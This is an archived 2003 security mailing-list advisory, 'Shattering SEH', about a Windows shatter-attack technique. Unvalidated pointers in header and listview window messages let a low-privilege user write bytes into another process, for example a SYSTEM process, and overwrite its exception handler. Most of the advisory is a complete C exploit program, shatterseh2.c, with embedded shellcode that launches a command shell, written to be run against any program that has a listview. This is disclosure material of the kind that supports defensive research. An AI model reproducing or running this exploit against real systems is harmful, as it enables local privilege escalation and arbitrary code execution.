[NT] Shattering SEH
From: SecuriTeam (support_at_securiteam.com)
Date: 07/31/03
- Previous message: SecuriTeam: "[NEWS] Multiple Vulnerabilities In Cisco AP1x00"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 31 Jul 2003 13:46:00 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Get Thawte's New Step-by-Step SSL Guide for Apache.
In this guide you will find out how to test, purchase,
install and use a Thawte Digital Certificate on you Apache web server.
Throughout, best practices for set-up are highlighted to help you
ensure efficient ongoing management of your encryption keys and digital
certificates. Get you copy of this new guide now:
http://ad.doubleclick.net/clk;5903117;8265118;i
- - - - - - - - -
Shattering SEH
------------------------------------------------------------------------
SUMMARY
The Win32 SEH (Structured Exception Handling) are a Microsoft extension to
the C language that enables applications to gain control of a program
after events that would normally terminate execution.
For more information see:
<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclang/html/_pluslang_structured_exception_handling.asp> Structured exception handling
The technique described here is a method allowing a low-level user to
overwrite important memory locations in a SYSTEM process. Important memory
locations such as SEH pointers, etc.
DETAILS
Various windows messages accept a pointer to a POINT or RECT structure
that will be used to retrieve GDI information about windows. These
pointers do not appear to be validated in any way.
We will concentrate on the HDM_GETITEMRECT message:
(From MSDN)
- HDM_GETITEMRECT Message
-
- Retrieves the bounding rectangle for a given item in a header control.
- You can send this message explicitly or use the Header_GetItemRect
macro.
-
- Syntax
-
- To send this message, call the SendMessage function as follows.
- lResult = SendMessage((HWND) hWndControl, // handle to control
- (UINT) HDM_GETITEMRECT, // message ID
- (WPARAM) wParam, // = (WPARAM) (int) iIndex;
- (LPARAM) lParam ); // = (LPARAM) (RECT*) lpItemRect;
- Parameters
- iIndex
- Zero-based index of the header control item for which to retrieve the
- bounding rectangle.
- lpItemRect
- Pointer to a RECT structure that receives the bounding rectangle
information.
-
(End MSDN)
So if we wanted to overwrite the Unhandled Exception Filter 77edxxxx we
would call:
SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)
Now the challenge is how do we control what is been written to the
address.
The RECT structure is defined as:
(From MSDN)
- typedef struct _RECT {
- LONG left;
- LONG top;
- LONG right;
- LONG bottom;
- } RECT, *PRECT;
(End MSDN)
The only variable that we are in control of is the right, or width of the
header item. The size is limited though, allowing us only to control the
low order 16 bits of the written value. The high order bits are set to
0000.
But by offsetting our write address we can control the high order 16 bits
of the required value, with the low order bits been set to 0000.
If we can place our shellcode in a place that includes XXXX0000 in the
address then we will be able to land in our shellcode by setting the
header item width to XXXX, causing the write and then causing an
exception.
When used with the HDM_GETITEMRECT message, memory is overwritten as:
AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottom
By setting the width of the first column, we are in control of the left
value of the second column. We can use the least significant byte to
overwrite memory space byte by byte.
When the HDM_GETITEMRECT is called, memory will be overwritten as:
XAAABBBBCCCCDDDD where X is our 'controlled' byte.
By doing one write and then incrementing our write address, we are able to
write a string of controlled bytes to a controlled memory location. This
location could be program read/write data space, or something global like
TEB/PEB.
We can use this method to write our shellcode into a known writeable
address. Then the SEH handler is overwritten with the same address, and
after causing an exception the code is executed.
Exploit Code (Revised):
/**********************************************************
* shatterseh2.c
*
* Demonstrates the use of listview messages to;
* - inject shellcode to known location
* - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
* - tWindow is the title of the programs main window
* - sehHandler is the critical address to overwrite
* - shellcodeaddr is the data space to inject the code
* The 'autofind' feature may not work against all programs.
* Insert your own blank lines for readability
* Try it out against any program with a listview.
* eg: explorer, IE, any file open dialog
* Brett Moore [ brett.moore@security-assessment.com ]
* www.security-assessment.com
**********************************************************/
#include <windows.h>
#include <commctrl.h>
// Local Cmd Shellcode
BYTE exploit[] =
"\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc";
long hLVControl,hHdrControl;
char tWindow[]="Main Window Title";// The name of the main window
long sehHandler = 0x77edXXXX; // Critical Address To Overwrite
long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space
void doWrite(long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
{
long hWnd;
HMODULE hMod;
DWORD ProcAddr;
printf("%% Playing with listview messages\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Find local procedure address
hMod = LoadLibrary("msvcrt.dll");
ProcAddr = (DWORD)GetProcAddress(hMod, "system");
if(ProcAddr != 0)
// And put it in our shellcode
*(long *)&exploit[8] = ProcAddr;
printf("+ Finding %s Window...\n",tWindow);
hWnd = FindWindow(NULL,tWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",tWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
IterateWindows(hWnd);
printf("+ Not Done...\n");
return 0;
}
void doWrite(long tByte,long address)
{
SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
0,MAKELPARAM(tByte, 0));
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
}
void IterateWindows(long hWnd)
{
long childhWnd,looper;
childhWnd = GetNextWindow(hWnd,GW_CHILD);
while (childhWnd != NULL)
{
IterateWindows(childhWnd);
childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
}
hLVControl = hWnd;
hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
if(hHdrControl != NULL)
{
// Found a Listview Window with a Header
printf("+ Found listview window..0x%xh\n",hLVControl);
printf("+ Found lvheader window..0x%xh\n",hHdrControl);
// Inject shellcode to known address
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
for (looper=0;looper<sizeof(exploit);looper++)
doWrite((long) exploit[looper],(shellcodeaddr + looper));
// Overwrite SEH
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
doWrite(((shellcodeaddr) & 0xff),sehHandler);
doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
// Cause exception
printf("+ Forcing Unhandled Exception\n");
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
printf("+ Done...\n");
exit(0);
}
ADDITIONAL INFORMATION
The information was provided by
<mailto:brett.moore@security-assessment.com> Brett Moore
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Multiple Vulnerabilities In Cisco AP1x00"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NT] RealTek HD Audio Codec Driver Local Privilege Escalation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... overwrite as we can see in the
following piece of code, note the memory is ... memory overwrite to divert to flow
towards a ring0 shellcode. ... missing an important term in the equation to control the
first ... (Securiteam) - Shattering SEH II
... overwrite two bytes of a four byte critical address. ... When used with the
HDM_GETITEMRECT message, memory is overwritten as; ... We can use this method to write
our shellcode into a known writeable ... void IterateWindows(long hWnd);
... (Bugtraq) - [VulnWatch] Shattering SEH II
... overwrite two bytes of a four byte critical address. ... When used with the
HDM_GETITEMRECT message, memory is overwritten as; ... We can use this method to write
our shellcode into a known writeable ... void IterateWindows(long hWnd);
... (VulnWatch) - [VulnWatch] Shattering SEH II
... overwrite two bytes of a four byte critical address. ... When used with the
HDM_GETITEMRECT message, memory is overwritten as; ... We can use this method to write
our shellcode into a known writeable ... void IterateWindows(long hWnd);
... (VulnWatch) - [Full-Disclosure] Shattering SEH II
... overwrite two bytes of a four byte critical address. ... When used with the
HDM_GETITEMRECT message, memory is overwritten as; ... We can use this method to write
our shellcode into a known writeable ... void IterateWindows(long hWnd);
... (Full-Disclosure)